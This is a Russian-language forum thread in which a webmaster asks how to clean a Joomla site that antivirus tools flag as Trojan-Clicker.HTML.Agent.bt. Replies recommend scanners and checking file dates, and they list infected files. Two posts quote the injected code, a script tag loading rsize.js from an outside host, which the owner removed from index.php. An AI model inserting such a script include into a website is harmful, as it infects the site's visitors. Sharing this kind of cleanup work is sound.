X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть?
Telnor
Telnor
Topic Starter сообщение 29.1.2013, 23:12; Ответить: Telnor
Сообщение #1


Топовый постер
*******


Группа: Active User
Сообщений: 5831
Регистрация: 22.7.2010
Из: CCCР
Поблагодарили: 1056 раз
Репутация:   385  


При заходе на http://sphinxdahab.com/ каспер блокирует сайт:

Двиг Joomla.
Скачал полностью весь сайт вместе с БД на комп, проверил Каспером, он ничего не нашел.
Где искать заразу и как с ней бороться? Спасибо!

Сообщение отредактировал Telnor - 29.1.2013, 23:14


--------------------
Сдается место в подписи.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dota
dota
сообщение 29.1.2013, 23:17; Ответить: dota
Сообщение #2


Топовый постер
*******


Группа: Active User
Сообщений: 4553
Регистрация: 1.10.2010
Из: СССР
Поблагодарили: 2620 раз
Репутация:   582  


Telnor, Айболитом проверьте.
Вылечить все.
И дальше мой друг писал непосредственно в ТП каспера, они разблокировали.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serg5777
serg5777
сообщение 29.1.2013, 23:22; Ответить: serg5777
Сообщение #3


Стоп NATO
*******


Группа: Active User
Сообщений: 4350
Регистрация: 5.4.2009
Из: Ростов-на-Дону
Поблагодарили: 1341 раз
Репутация:   193  




Посмотрите по дате измененения файлов, там и наткнетесь на заразу smile.gif

Сообщение отредактировал serg5777 - 29.1.2013, 23:23


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 29.1.2013, 23:23; Ответить: Belos
Сообщение #4


Старожил
******

Группа: Active User
Сообщений: 2478
Регистрация: 11.11.2008
Из: Украина
Поблагодарили: 702 раза
Репутация:   96  


Да, есть у вас на нем нечисть.

Проверяем


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dota
dota
сообщение 29.1.2013, 23:27; Ответить: dota
Сообщение #5


Топовый постер
*******


Группа: Active User
Сообщений: 4553
Регистрация: 1.10.2010
Из: СССР
Поблагодарили: 2620 раз
Репутация:   582  


(Belos @ 29.1.2013, 22:23) *
Посмотрите по дате измененения файлов, там и наткнетесь на заразу

Во во, именно. Так же когда то избавлялся.

А главное от этой фигни траф проседает.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Serenita
Serenita
сообщение 29.1.2013, 23:32; Ответить: Serenita
Сообщение #6


Старожил
******


Группа: Active User
Сообщений: 1658
Регистрация: 20.7.2010
Из: Киев
Поблагодарили: 1822 раза
Репутация:   230  


Я обычно вот этим проверяю...

Вот он у вас понаходил, первый и последний явно лишние...

/templates/wedding_v1/script.js
/modules/mod_virtuemart/JSCookTree.js
/modules/mod_virtuemart/ThemeXP/theme.js
kinoshkaxa.changeip.name/rsize.js


Сообщение отредактировал Serenita - 29.1.2013, 23:33


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 29.1.2013, 23:36; Ответить: Belos
Сообщение #7


Старожил
******

Группа: Active User
Сообщений: 2478
Регистрация: 11.11.2008
Из: Украина
Поблагодарили: 702 раза
Репутация:   96  


Нод антивирус тоже ругается

Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rampage
Rampage
сообщение 29.1.2013, 23:39; Ответить: Rampage
Сообщение #8


Участник
***

Группа: User
Сообщений: 240
Регистрация: 20.11.2010
Из: localhost
Поблагодарили: 68 раз
Репутация:   24  


в самом конце после </html>
<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>

Ваше? если нет ищите в файлах которые инклудятся к главной странице и шаблонах


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Melbrun
Melbrun
сообщение 30.1.2013, 9:37; Ответить: Melbrun
Сообщение #9


Участник
***

Группа: User
Сообщений: 124
Регистрация: 15.1.2013
Поблагодарили: 20 раз
Репутация:   13  


Telnor,

Как успехи? СМогли вылечить?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Telnor
Telnor
Topic Starter сообщение 30.1.2013, 10:38; Ответить: Telnor
Сообщение #10


Топовый постер
*******


Группа: Active User
Сообщений: 5831
Регистрация: 22.7.2010
Из: CCCР
Поблагодарили: 1056 раз
Репутация:   385  


(Serenita @ 29.1.2013, 22:32) *
первый и последний явно лишние...

В каких файлах их искать, я дилетант в джумле...?

Melbrun, в процессе.

в index.php нашел и удалил:
echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>';
sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил.
Каспер открывает сайт, но проблема еще осталась:
http://sitecheck.sucuri.net/scanner/?scan=sphinxdahab.com
Где его искать?


--------------------
Сдается место в подписи.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Почему разнообразие на сайте вредит проекту?
24 Kiloan_Frost 1388 Сегодня, 0:48
автор: Kiloan_Frost
Горячая тема (нет новых ответов) Как заработать новичку?
142 Emeralda 25745 Вчера, 17:07
автор: Vlad_Sokolov
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыКак носить смартфоны диагональю 5.5 - 6.4 дюйма?
42 Room 5134 Вчера, 13:36
автор: wertu
Открытая тема (нет новых ответов) Как защитить свои данные в общественном Wi-Fi?
7 unazekoff 299 Вчера, 13:24
автор: alxpn
Открытая тема (нет новых ответов) Как раскрутить городской портал с помощью вирусной рекламы?
9 Wolfhound 845 22.5.2018, 23:42
автор: mherter


 



RSS Текстовая версия Сейчас: 24.5.2018, 0:56
Дизайн